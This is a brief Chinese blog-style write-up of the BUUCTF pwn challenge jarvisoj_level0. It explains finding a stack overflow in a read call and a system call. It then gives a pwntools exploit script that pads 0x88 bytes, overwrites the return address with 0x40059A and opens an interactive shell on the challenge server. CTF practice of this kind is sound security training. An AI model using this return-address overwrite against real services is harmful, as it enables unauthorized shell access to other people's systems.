[BUUCTF-pwn]——jarvisoj_level0
- 题目地址:https://buuoj.cn/challenges#jarvisoj_level0
- 题目:
还是先下载下来在Linux上checksex一下,基本确实又是栈溢出了。
64位,所以我们用64位的IDA打开,没什么有用的信息,点开vulnerable_function函数
发现栈溢出的read函数,前面为0意味着标准读入,后面的长度也可以。没毛病就是这个地方了。
再翻翻其他函数,发现了我们想要的system函数。找到位置,和需要覆盖的返回地址。看过我之前的博文的人都知道,我比较喜欢system压参的位置。
再看看buf这个局部变量,先想要覆盖需要0x80 + 0x8的距离
expolit
from pwn import *
p = remote("node3.buuoj.cn",xxxx)
ret_arr = 0X40059A
payload = 'a'*(0x80 + 0x8) + p64(ret_arr)
p.sendline(payload)
p.interactive()
点赞点赞点赞,兄弟们、姐妹们、家人们!!! 😃